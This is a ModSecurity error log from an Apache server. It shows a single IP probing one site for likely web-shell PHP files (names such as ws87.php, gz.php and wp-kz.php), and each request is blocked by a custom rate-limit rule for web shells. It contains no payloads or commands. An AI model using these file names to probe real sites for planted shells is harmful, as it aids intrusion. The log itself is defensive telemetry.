[Tue Apr 14 00:20:35.325986 2026] [:error] [pid 57183:tid 57193] [client 40.89.166.87:22279] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "ad0X0zDO3t8R5NaxzYSz3AAAAUg"]
[Tue Apr 14 00:20:50.794917 2026] [:error] [pid 57183:tid 57201] [client 40.89.166.87:42686] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "ad0X4jDO3t8R5NaxzYSz_AAAAVA"]
[Tue Apr 14 00:20:52.288829 2026] [:error] [pid 57183:tid 57185] [client 40.89.166.87:25661] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "ad0X5DDO3t8R5NaxzYS0AwAAAUA"]
[Tue Apr 14 00:20:53.804759 2026] [:error] [pid 57183:tid 57194] [client 40.89.166.87:27111] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "ad0X5TDO3t8R5NaxzYS0BwAAAUk"]
[Tue Apr 14 00:20:54.661421 2026] [:error] [pid 63406:tid 63430] [client 40.89.166.87:40940] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "ad0X5rHZEIkQ0Zmgp5pM5wAAANM"]
[Tue Apr 14 00:21:15.120537 2026] [:error] [pid 63406:tid 63426] [client 40.89.166.87:37505] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ad0X-7HZEIkQ0Zmgp5pNGAAAAM8"]
[Tue Apr 14 00:21:23.121321 2026] [:error] [pid 63406:tid 63415] [client 40.89.166.87:41964] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ad0YA7HZEIkQ0Zmgp5pNJQAAAMQ"]
[Tue Apr 14 00:21:31.848439 2026] [:error] [pid 9314:tid 9318] [client 40.89.166.87:43307] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ad0YC2_r4W8fX2GWyGR1PwAAAYI"]
[Tue Apr 14 00:21:32.448566 2026] [:error] [pid 57183:tid 57189] [client 40.89.166.87:27146] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ad0YDDDO3t8R5NaxzYS0OQAAAUQ"]
[Tue Apr 14 00:21:33.510164 2026] [:error] [pid 63406:tid 63421] [client 40.89.166.87:30554] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ad0YDbHZEIkQ0Zmgp5pNNQAAAMo"]
[Tue Apr 14 00:21:34.237752 2026] [:error] [pid 9314:tid 9319] [client 40.89.166.87:37745] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ad0YDm_r4W8fX2GWyGR1QwAAAYM"]
[Tue Apr 14 00:21:35.206015 2026] [:error] [pid 63311:tid 63372] [client 40.89.166.87:31772] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ad0YD6HjrGN1MqBCVFk85AAAAIE"]
[Tue Apr 14 00:21:37.263419 2026] [:error] [pid 57183:tid 57208] [client 40.89.166.87:30541] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ad0YETDO3t8R5NaxzYS0PgAAAVc"]
[Tue Apr 14 00:21:39.190820 2026] [:error] [pid 63311:tid 63385] [client 40.89.166.87:31750] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ad0YE6HjrGN1MqBCVFk86AAAAI4"]
[Tue Apr 14 00:21:40.010026 2026] [:error] [pid 63309:tid 63336] [client 40.89.166.87:41958] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ad0YFEpIKZ10weXpf0VPCAAAABc"]
[Tue Apr 14 00:21:50.777129 2026] [:error] [pid 63311:tid 63374] [client 40.89.166.87:30530] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gz.php"] [unique_id "ad0YHqHjrGN1MqBCVFk89wAAAIM"]
[Tue Apr 14 00:21:51.776011 2026] [:error] [pid 7228:tid 7232] [client 40.89.166.87:41944] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gz.php"] [unique_id "ad0YHwEnn1dQrOSHHNXbmQAAAQI"]
[Tue Apr 14 00:21:53.406653 2026] [:error] [pid 63310:tid 63352] [client 40.89.166.87:2516] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gz.php"] [unique_id "ad0YIXoXpRU5ztmwPjKGtgAAAEg"]
[Tue Apr 14 00:21:56.378051 2026] [:error] [pid 63406:tid 63417] [client 40.89.166.87:36688] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "ad0YJLHZEIkQ0Zmgp5pNWgAAAMY"]
[Tue Apr 14 00:21:57.523209 2026] [:error] [pid 63406:tid 63433] [client 40.89.166.87:21987] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "ad0YJbHZEIkQ0Zmgp5pNWwAAANY"]
[Tue Apr 14 00:22:00.754510 2026] [:error] [pid 63310:tid 63363] [client 40.89.166.87:26311] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "ad0YKHoXpRU5ztmwPjKGxAAAAFM"]
[Tue Apr 14 00:22:06.168422 2026] [:error] [pid 9314:tid 9321] [client 40.89.166.87:29844] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "ad0YLm_r4W8fX2GWyGR1bAAAAYU"]
[Tue Apr 14 00:22:11.198928 2026] [:error] [pid 63406:tid 63419] [client 40.89.166.87:41525] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/areak1.php"] [unique_id "ad0YM7HZEIkQ0Zmgp5pNbgAAAMg"]
[Tue Apr 14 00:22:12.393376 2026] [:error] [pid 63311:tid 63373] [client 40.89.166.87:2520] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/areak1.php"] [unique_id "ad0YNKHjrGN1MqBCVFk9DwAAAII"]
[Tue Apr 14 00:22:24.152814 2026] [:error] [pid 63406:tid 63429] [client 40.89.166.87:41959] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "ad0YQLHZEIkQ0Zmgp5pNqgAAANI"]
[Tue Apr 14 00:22:25.271702 2026] [:error] [pid 7228:tid 7250] [client 40.89.166.87:42595] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "ad0YQQEnn1dQrOSHHNXbtgAAARQ"]
[Tue Apr 14 00:22:34.741460 2026] [:error] [pid 63311:tid 63381] [client 40.89.166.87:22369] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "ad0YSqHjrGN1MqBCVFk9JwAAAIo"]
[Tue Apr 14 00:22:39.992959 2026] [:error] [pid 57183:tid 57193] [client 40.89.166.87:35614] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "ad0YTzDO3t8R5NaxzYS0pgAAAUg"]
[Tue Apr 14 00:22:40.906873 2026] [:error] [pid 63309:tid 63315] [client 40.89.166.87:32300] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "ad0YUEpIKZ10weXpf0VPJQAAAAI"]
[Tue Apr 14 00:22:42.006793 2026] [:error] [pid 63406:tid 63420] [client 40.89.166.87:42567] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "ad0YUrHZEIkQ0Zmgp5pN6QAAAMk"]
[Tue Apr 14 00:22:44.323762 2026] [:error] [pid 63406:tid 63428] [client 40.89.166.87:32281] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "ad0YVLHZEIkQ0Zmgp5pN8gAAANE"]
[Tue Apr 14 00:22:45.877202 2026] [:error] [pid 57183:tid 57205] [client 40.89.166.87:35593] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "ad0YVTDO3t8R5NaxzYS0sgAAAVQ"]
[Tue Apr 14 00:22:46.788170 2026] [:error] [pid 57183:tid 57203] [client 40.89.166.87:34758] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "ad0YVjDO3t8R5NaxzYS0twAAAVI"]
[Tue Apr 14 00:22:56.180727 2026] [:error] [pid 7228:tid 7234] [client 40.89.166.87:36744] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "ad0YYAEnn1dQrOSHHNXb2AAAAQQ"]
[Tue Apr 14 00:22:57.203687 2026] [:error] [pid 63406:tid 63420] [client 40.89.166.87:3028] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ga.php"] [unique_id "ad0YYbHZEIkQ0Zmgp5pODgAAAMk"]
[Tue Apr 14 00:22:58.187109 2026] [:error] [pid 63406:tid 63430] [client 40.89.166.87:50631] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "ad0YYrHZEIkQ0Zmgp5pOFgAAANM"]
[Tue Apr 14 00:22:59.550171 2026] [:error] [pid 63406:tid 63427] [client 40.89.166.87:39266] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "ad0YY7HZEIkQ0Zmgp5pOJgAAANA"]
[Tue Apr 14 00:23:00.809141 2026] [:error] [pid 57183:tid 57207] [client 40.89.166.87:38918] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "ad0YZDDO3t8R5NaxzYS00wAAAVY"]
[Tue Apr 14 00:23:02.357901 2026] [:error] [pid 57183:tid 57203] [client 40.89.166.87:50684] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "ad0YZjDO3t8R5NaxzYS03wAAAVI"]
[Tue Apr 14 00:23:03.873471 2026] [:error] [pid 57183:tid 57188] [client 40.89.166.87:3065] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "ad0YZzDO3t8R5NaxzYS05wAAAUM"]
[Tue Apr 14 00:23:06.385951 2026] [:error] [pid 7228:tid 7250] [client 40.89.166.87:34474] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "ad0YagEnn1dQrOSHHNXb5AAAARQ"]
[Tue Apr 14 00:23:23.695098 2026] [:error] [pid 57183:tid 57197] [client 40.89.166.87:51191] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad0YezDO3t8R5NaxzYS1SQAAAUw"]
[Tue Apr 14 00:23:27.629504 2026] [:error] [pid 63406:tid 63431] [client 40.89.166.87:34864] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad0Yf7HZEIkQ0Zmgp5pOUAAAANQ"]
[Tue Apr 14 00:23:29.230544 2026] [:error] [pid 7228:tid 7244] [client 40.89.166.87:2887] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad0YgQEnn1dQrOSHHNXcAAAAAQ4"]
[Tue Apr 14 00:23:33.331915 2026] [:error] [pid 63310:tid 63361] [client 40.89.166.87:44368] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "ad0YhXoXpRU5ztmwPjKHDAAAAFE"]
[Tue Apr 14 00:23:36.205019 2026] [:error] [pid 57183:tid 57199] [client 40.89.166.87:35205] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ad0YiDDO3t8R5NaxzYS1YgAAAU4"]
[Tue Apr 14 00:23:37.086019 2026] [:error] [pid 57183:tid 57185] [client 40.89.166.87:2909] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ad0YiTDO3t8R5NaxzYS1awAAAUA"]
[Tue Apr 14 00:23:38.472829 2026] [:error] [pid 63406:tid 63420] [client 40.89.166.87:44411] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ad0YirHZEIkQ0Zmgp5pOewAAAMk"]
[Tue Apr 14 00:23:43.359684 2026] [:error] [pid 63310:tid 63367] [client 40.89.166.87:37165] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "ad0Yj3oXpRU5ztmwPjKHFAAAAFc"]
[Tue Apr 14 00:23:44.552282 2026] [:error] [pid 7228:tid 7249] [client 40.89.166.87:44356] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ad0YkAEnn1dQrOSHHNXcEgAAARM"]
[Tue Apr 14 00:23:45.608934 2026] [:error] [pid 63406:tid 63435] [client 40.89.166.87:46123] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ad0YkbHZEIkQ0Zmgp5pOlQAAANg"]
[Tue Apr 14 00:23:47.627168 2026] [:error] [pid 63406:tid 63413] [client 40.89.166.87:2961] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kz.php"] [unique_id "ad0Yk7HZEIkQ0Zmgp5pOmwAAAMI"]
[Tue Apr 14 00:24:05.564577 2026] [:error] [pid 63406:tid 63431] [client 40.89.166.87:35868] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-lo.php"] [unique_id "ad0YpbHZEIkQ0Zmgp5pO0gAAANQ"]
[Tue Apr 14 00:24:06.347707 2026] [:error] [pid 63311:tid 63395] [client 40.89.166.87:24939] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-lo.php"] [unique_id "ad0YpqHjrGN1MqBCVFk9cQAAAJg"]
[Tue Apr 14 00:24:07.436533 2026] [:error] [pid 7228:tid 7237] [client 40.89.166.87:24910] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-lo.php"] [unique_id "ad0YpwEnn1dQrOSHHNXcPQAAAQc"]
[Tue Apr 14 00:24:09.055636 2026] [:error] [pid 63406:tid 63425] [client 40.89.166.87:28055] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-lo.php"] [unique_id "ad0YqbHZEIkQ0Zmgp5pO3gAAAM4"]
